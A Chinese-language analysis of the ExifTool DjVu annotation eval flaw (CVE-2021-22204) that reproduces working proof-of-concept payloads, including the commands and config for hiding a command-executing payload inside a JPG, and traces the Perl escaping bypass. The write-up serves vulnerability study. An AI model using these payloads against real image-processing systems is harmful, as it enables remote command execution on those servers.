Share
## https://sploitus.com/exploit?id=289423D9-0706-5D51-A997-22A314D78ACE
# ExifTool 远程代码执行漏洞

这应该算是CVE-2021-22204的分析文章,但更多像是我的草稿本,写满了很多杂乱无章的东西,对于漏洞分析文章而言显得有些废话了,但却让我学到很多。

说实话,我从未使用过这款工具,也几乎没有接触过Perl这门语言,导致我在分析,乃至复现的过程中心中满是问号。在开始分析之前,先看看网上已公开的poc,以及我心中的疑问。

## POC - convisolabs

看到的一篇文章是[1],其对漏洞产生的原因进行了简短介绍,但是由于我看不懂Perl代码,很多地方不清楚。其复现过程如下:

下载12.23版本的exiftool

```bash
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
```

解压安装

```bash
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
```

当然,如果你不想安装它,可以直接将exiftool-12.23目录下的exiftool文件放到环境变量能够找到的目录下,这样也可以直接使用exiftool工具,因为Perl是解释型语言,类似python。

制作一个恶意图片,首先安装所需工具

```bash
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
```

执行以下命令创建一个恶意的djvu文件

```bash
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# 这是最让我困惑的地方,我不懂为什么要进行压缩(因为看其他POC是不需要的)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
```

接着通过`exiftool`工具解析该恶意文件,会发现`id`命令成功执行了

```bash
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001
```

前面制作通过`djvumake`命令制作`djvu`格式文件的时候,能不能不压缩`payload`?因为从分析的角度看这不便于查看和测试。当然可以,只需要将参数`ANTz`换成`ANTa`。这里的`ANTz`和`ANTa`可以参考exiftool说明文档[3],但是他们具体的含义我还是没找到,因为没找到标准说明。

> 这里还是想吐槽一下,本来想通过`man djvumake`查看参数的说明,结果里面根本没有对`ANTz`和`ANTa`的说明,文档日期为2001年,许久未曾更新过了。

| Tag ID | Tag Name             | Writable |
| ------ | -------------------- | -------- |
| 'ANTa' | ANTa                 | -        |
| 'ANTz' | CompressedAnnotation | -        |

`ANTa`表示在djvu文件内`metadata`中以明文格式存储`Annotation`,`ANTz`为bzz压缩格式。

但是djvu格式的文件并不常见,特别是在网站上存在上传图片的情况时,大多只接受png/jpg/jpeg等文件。所以如果能将恶意的djvu文件变成一个jpg文件,那就好了。

exiftool工具可以帮助我们修改图片的内容,只要把恶意的djvu文件插入到jpg文件的合适位置就好了,至于具体是哪个位置,为什么可以是这个位置,后面分析时再说明。

构建一个exiftool配置文件eval.config
```
%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b 对应Tag 'HasselbladExif'[6]
        0xc51b => {
            # 名字可以随意指定,这是接收的参数名称
            Name => 'HasselbladExif',
            # 可写入的变量类型
            Writable => 'string',
            # 写入的数据归属于metadata的哪一个Group[7]
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end
```
关于exiftool配置文件的写法,可以参考[4][5]。接着找一个普通的jpg图片文件poc.jpg,执行以下命令

```bash
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
```

再通过exiftool解析poc.jpg,命令成功执行

```bash
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001
```

## 漏洞分析

以下的分析过程参考了[2]中的内容,漏洞的影响版本为exiftool < 12.24,引起漏洞的文件为

```bash
lib/Image/ExifTool/DjVu.pm (line 202)
```

相关函数代码如下

```perl
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}
```

不曾接触过`Perl`语言,讲真,基本没看懂这代码在干啥,不过好在有非常良好的注释帮助理解该函数的功能。从函数注释来看,它是用来解析djvu文件中的annotation数据的,并且根据代码的结构来看,是递归处理,而且`annotation`数据是以()为边界的。

### Perl 正则表达式

为了便于理解代码,同时出于学习的目的,这里简单介绍一下Perl内部正则表达式的使用。

Perl正则的使用方法和特别,和我之前接触过的语言不太一样。Perl中正则有三种形式:

- 匹配 `m//`,m可省略
- 替换 `s///`
- 转化 `tr///`

`//`之间的是正则表达式或者字符串,但是分隔符也可以是`{}`而不是局限于`//`,这是Perl语言的特点。

下面先看匹配的代码示例

```perl
#!/usr/bin/perl

$str = "this is a string";
$str =~ /this/;

print $str;
print "\n";
```

在`Perl`中可以通过`=~`运算符使用正则表达式功能,上面的代码无论正则是否命中,打印`$str`,输出的都会是`this is a string`。但是当正则没有命中是它会返回布尔值`false`。

```perl
#!/usr/bin/perl

$str = "this is a string";
if ($str =~ /this12/) {
    print "true\n";
} else {
    print "false\n";
}
```

如果想替换字符串变量中的内容,可以像下面这样

```perl
#!/usr/bin/perl

$str = "this is a string";
# or $str =~ s{string}{str};
$str =~ s/string/str/;


print $str;
print "\n";

# ouput
# this is str
```

使用替换功能是会直接改变变量的值的。

了解了Perl中正则表达式的内容后,再回过头看看前面的那个函数吧

```perl
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    # 获取传入的参数(是个引用)
    my $dataPt = shift;
    print($$dataPt);
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            # 遇到左括号则递归处理
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                # 获取前一次正则匹配命中的位置,执行到这里,这个位置就是第一个引号的位置
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                # 再次匹配右引号的位置,并截取引号之间的内容
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                print($tok."\n");
                # we're good unless quote was escaped by odd number of backslashes
                # 检查反斜杠的数量是不是奇数,避免在后续qq{""}时,行尾的"被转义
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                # 如果是奇数,则补上一个"号
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            print(qq{"$tok"}."\n");
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}
```

为了便于理解,需要一个合适的文件能够让`exiftool`解析时,执行这个函数。可以用前面的方式构造一个`djvu`文件`exploit.djvu`,pyaload内容为

```
(metadata (Author "trganda"))
```

之后在ParseAnt($)函数的关键部位加入一些`print`,打印信息,如上。之后在`exiftool`的源码目录下执行

```bash
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore
```

从这里可以看到最后传入eval执行的内容是,注意双引号不可忽略哦。

```perl
"trganda"
```

那如果把`trganda`换成`system`函数来执行命令是不是可以呢?动手看看吧

```perl
$tok = "${system('id')};";
# output
# "\${system('id')};"
```

运行发现输出的内容仅仅只是传入文本,代码并没有被执行,这是因为`$`被替换为`\$`了

```perl
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
```

那如何才能绕过这个限制,关于这个问题还得一步一步来,[2]的作者,在测试的过程中,使用了下面这样一个payload。

```
(metadata (Author "a\
""))
```

运行之后的输出如下,eval报出了异常。

```bash
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\

a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)
```

这里解释一下,这个payload传入之后发生了什么,主要关注第二个for循环

```bash
# Author 这个Annotation的内容为,不要遗漏\n
"a\(\n)
""
# 在for循环中第一次截取子串,$tok得到的内容是,因为第一次正则匹配到了第一个双引号,第二次匹配到第二行的第一个双引号
a\(\n)
# 接着代码会检查行尾的\数量是不是奇数,如果是,则会补上一个",
# 而正则$tok =~ /(\\+)$/在匹配时,$符号是匹配\n的而不是文本的结尾。
# 这样就会执行后面的代码,给$tok的末尾补上一个"。
a\(\n)"
# 第二次进入循环截取子串,得到的内容是第二行""之间的内容,但这里是空的,与$tok拼接后得到的结果和前面一样
a\(\n)"
# 之后进入eval执行的内容是
qq{"$tok"} -> "a\(\n)""
# eval执行后报错,因为"没有闭合
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)
```

关于Perl中eval的执行逻辑,建议参考官方文档[9]。但是由于部分内容文档中并未提及,以及我未曾使用过Perl,导致我开始对部分内容无法理解。只能不停通过代码样例的测试来了解eval的某些逻辑,下面会提及一些有助于理解该漏洞的内容再开始讲真正payload的执行过程。

#### eval in Perl

eval在Perl中的功能除了执行代码片段外,还可以捕获异常,而且不会中断程序的执行。eval可以接收字符串常量,字符串变量或是直接放入代码进行解析执行。

```perl
# 字符串常量
eval "system('id')";
# 变量
$cm = "system('id')";
eval $cm;
eval "$cm";
# 直接执行代码
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
```

eval的执行策略是只返回最后一个子语句的结果,也就是说如果包含多段代码,只取最后的结果,类似下面这样

```perl
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST
```

当eval执行某个语句出错时,后面的代码也不会再执行了,并且会抛出异常(如果有的话)。

回过头看刚才的测试用payload有什么发现吗?如果我们能够成功的闭合",并且将需要执行的代码放入第二行的"之间,代码就可以被eval执行了。
[2]中的作者给出了下面这张形式

```bash
(metadata
    (Author "\
" . return `date`; #")
)
# 最后传入eval执行的内容为
"\
" . return `date`; #"
```

那么被eval执行的这部分内容如何理解呢,首先`.`运算符在Perl中是用于连接字符串的,于是会先执行

```perl
return `date`;
```

再将返回的结果与`\(\n)`拼接。其实这个`return`不加也不会影响`date`命令的执行,而最后的`"`被注释掉了。

当然,也可以这样写

```bash
(metadata (Author "\
"; return `date`; #"))
# 最后传入eval执行的内容为
"\
"; return `date`; #"
```

这种方式,`eval`先解析`"\(\n)";`,这部分会解析看作是一个字符串,之后继续解析后面的语句,那么`date`命令也就成功执行了。

上面的payload执行后会看到下面这样的结果,可以看到成功执行了。

```
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
...
Author                          : 2021年 11月 04日 星期四 15:22:05 CST.
...
```

#### 其它绕过方式

写到这里,有些许累了。[2]的作者所给的`payload`通过规避"能够很完美的执行,那有没有其它方式呢?其实回过头看最开始[1]的内容就已经给出来了

```perl
(metadata "\c${system('id')};")
```

要知道,ParseAnt($)函数是会对$符号进行替换的,导致无法直接执行成功。那为什么这个可以呢,你是否好奇`\c`的作用是什么。首先通过上面这个payload构造djvu文件,exiftool解析后,传入eval中的内容是

```perl
"\c\${system('id')};"
```

在没有`\c`存在的情况下

```perl
"\${system('id')};"
```

这段代码是不会正在得到执行的,最后返回的之会是一个字符串,因为`$`符号被转义了。而`\c`的作用就是把`$`前`\`的作用取消,让后面的代码得以执行。在Perl中,也有着许多转义字符,而\c正是其中一个,不过它不是单独使用的,而是要搭配一个任意字符一起使用。

| 转义字符 | 含义                      |
| -------- | ------------------------- |
| \cX      | 控制字符,X可以是任何字符 |

正是因为这样,导致`\c\`被解释成了其它内容,后面的代码得以执行。

#### 其它的文件格式

前面构造的恶意文件都局限于`djvu`格式文件,如果能构造一个常用的文件,例如jpg图片等则会更有意义。为了达到这一点,需要找到在解析哪些文件时,会调用到存在漏洞的函数ParseAnt($)。

通过向上搜索,发现ProcessAnt($$$)会调用ParseAnt($),但再往上回溯就无法直接找到了。

```perl
ProcessAnt($$$)
	|
	v
 ParseAnt($)
```

由于Perl语言中有模块的动态加载机制,所以可以试着看看哪里会加载了Djvu.pm这个文件。

![1636264024890.png](screenshots/1636264024890.png)

从找到的文件中逐个排查发现`lib/Image/ExifTool.pm`的`line 2620`中有如下代码会根据文件的类型决定加载哪个模块来处理对应的文件。

```perl
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
#         1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
	# ...
	        my $module = $moduleName{$type};
            $module = $type unless defined $module;
            my $func = "Process$type";

            # load module if necessary
            if ($module) {
                require "Image/ExifTool/$module.pm";
                $func = "Image::ExifTool::${module}::$func";
            } elsif ($module eq '0') {
                $self->SetFileType();
                $self->Warn('Unsupported file type');
                last;
            }
	# ...
}
```

之后,继续查找在哪里会调用ExtractInfo($;@),发现有多处,主要关注`lib/Image/ExifTool/Exif.pm`的`line 3004`中的部分代码

```perl
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
    GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
    WRITE_PROC => \&WriteExif,
    CHECK_PROC => \&CheckExif,
    WRITE_GROUP => 'ExifIFD',   # default write group
    SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
    # ...
	0xc51b => { # (Hasselblad H3D)
        Name => 'HasselbladExif',
        Format => 'undef',
        RawConv => q{
            $$self{DOC_NUM} = ++$$self{DOC_COUNT};
            $self->ExtractInfo(\$val, { ReEntry => 1 });
            $$self{DOC_NUM} = 0;
            return undef;
        },
    },
    # ...
);
```

`%Image::ExifTool::Exif::Main`是一个Map形式的表格,而Exif.pm的功能在注释中也写明用于读取符合`EXIF/TIFF`规范的metadata信息

> Description:  Read EXIF/TIFF meta information

其实在前面复现的时候就看到过`%Image::ExifTool::Exif::Main`,当时不理解其中的`0xc51`是什么意思,以及为什么必需是这个值。现在知道,只要文件中的`metadata`信息包含对应`0xc51`这个id的内容,那它就会被ExtractInfo函数解析,并逐步走到存在漏洞的函数中。

所以在前面,通过exiftool强大的自定义功能,编写了一个config文件,自定义为一个普通的jpg文件,插入`0xc51b`这一类metadata,其中存放恶意内容。到此,整个触发过程基本清楚,我自己的疑问也都得到了解答。[2]的作者还给除了在其他格式的文件中插入恶意数据的方式,思路与这个是类似的。

#### 修复方案

查看github的[diff](https://github.com/exiftool/exiftool/compare/12.23...12.24)结果如下

![diff](screenshots/screen.jpg)

#### 参考资料

[1] [A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)](https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/)

[2] [ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io](https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)

[3] [TagNames of DjVu](https://exiftool.org/TagNames/DjVu.html)

[4] [TagNames Explan](https://exiftool.org/#tagnames)

[5] [Exiftool User Defined Configuration File](https://exiftool.org/config.html)

[6] [EXIF](https://exiftool.org/TagNames/EXIF.html)

[7] [Groups](https://exiftool.org/#groups)

[8] [exiftool-arbitrary-code-execution](https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)

[9] [eval in Perl](https://perldoc.perl.org/functions/eval)